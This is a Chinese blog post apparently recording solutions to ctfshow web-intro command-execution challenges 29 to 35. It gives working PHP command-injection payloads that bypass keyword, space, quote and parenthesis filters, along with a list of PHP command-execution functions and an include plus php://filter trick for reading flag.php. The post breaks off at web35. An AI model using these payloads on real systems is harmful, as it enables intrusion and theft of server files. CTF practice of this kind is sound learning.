您当前的位置: 首页 > 

九枕

暂无认证

  • 2浏览

    0关注

    42博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow学习记录-web入门(命令执行29-38)

九枕 发布时间:2022-06-02 16:00:00 ,浏览量:2

目录
    • web29
    • web30
    • web31
    • web32
    • web33
    • web34
    • web35
    • web36
    • web37
    • web38

web29

解答:eval可以执行php语句。 匹配字符串flag,那么使用通配符、单引号(成对)等方式简单绕过。

payload:?c=system('cat fl*');
也可以:?c=echo `nl fl''ag.p''hp`;

进一步学习:

常用的读取命令:cat,nl,tac,more,sort

web30

解答: 源码过滤了system,可以采用passthru。

payload:?c=passthru("cat fl*");
依旧可以使用:?c=echo `nl fl''ag.p''hp`;

进一步学习: php命令执行的函数:

system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub)  //第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();//详细用法百度吧
pcntl_exec();//如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
web31

解答:过滤了空格和cat,那么改用tab代替空格。 payload:?c=passthru("more%09f*"); 或者也可以利用无参数函数: ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

进一步学习:

无参数函数RCE

linux适用空格绕过:闭合php,因为php语法中,最后一句php代码可以不闭合(这里有一点要说一下,?>闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的); 过滤了括号,就找不用括号的函数,php中include是可以不带括号的。include还可以实现文件包含。

​ payload:?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

​ 原理大概就是,这里是传了两个参数,第一个参数c的内容include$_GET["a"]?>,第二个参数a是不受后边匹配条件的影响。

include传参实现文件包含,利用php伪协议就可以读取flag.php文件。这里,也可以用$_POST,那么后续传参就通过post传参。

进一步学习:文件包含&伪协议

web33

解答:​ 过滤了双引号,那么就去掉双引号,直接加变量名。

​ payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

解答:过滤了冒号。不影响。继续用上题的payload。

web35

解答:过滤了

关注
打赏
1662624000
查看更多评论
0.0376s